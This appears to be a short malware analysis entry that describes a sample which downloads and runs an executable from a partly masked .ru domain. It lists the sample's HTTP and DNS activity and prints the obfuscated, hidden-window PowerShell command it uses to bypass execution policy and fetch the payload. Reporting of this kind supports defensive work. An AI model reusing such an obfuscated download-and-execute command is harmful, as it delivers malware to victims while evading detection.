Technical Information
Malicious functions
Downloads and executes
- http://su###-diona.ru/media/editors/uzltsvb1mtx/ssminservp.exe as %appdata%.exe
Network activity
TCP
HTTP GET requests
- http://su###-diona.ru/media/editors/uzltsvb1mtx/ssminservp.exe
UDP
- DNS ASK su###-diona.ru
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /c p^ow^ersh^el^L^.ex^e -e^Xec^UtION^P^olIc^Y^ ^bYpass^ -N^o^p^R^OF^i^l^e ^-^wind^ow^stY^Le hid^deN^ ^(n^ew-oB^Ject s^Y^st^em^.^Ne^t^.^we^bclient^)^.d^own^load^Fi^l^e('http://su###-dio...' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /c p^ow^ersh^el^L^.ex^e -e^Xec^UtION^P^olIc^Y^ ^bYpass^ -N^o^p^R^OF^i^l^e ^-^wind^ow^stY^Le hid^deN^ ^(n^ew-oB^Ject s^Y^st^em^.^Ne^t^.^we^bclient^)^.d^own^load^Fi^l^e('http://su###-dio...
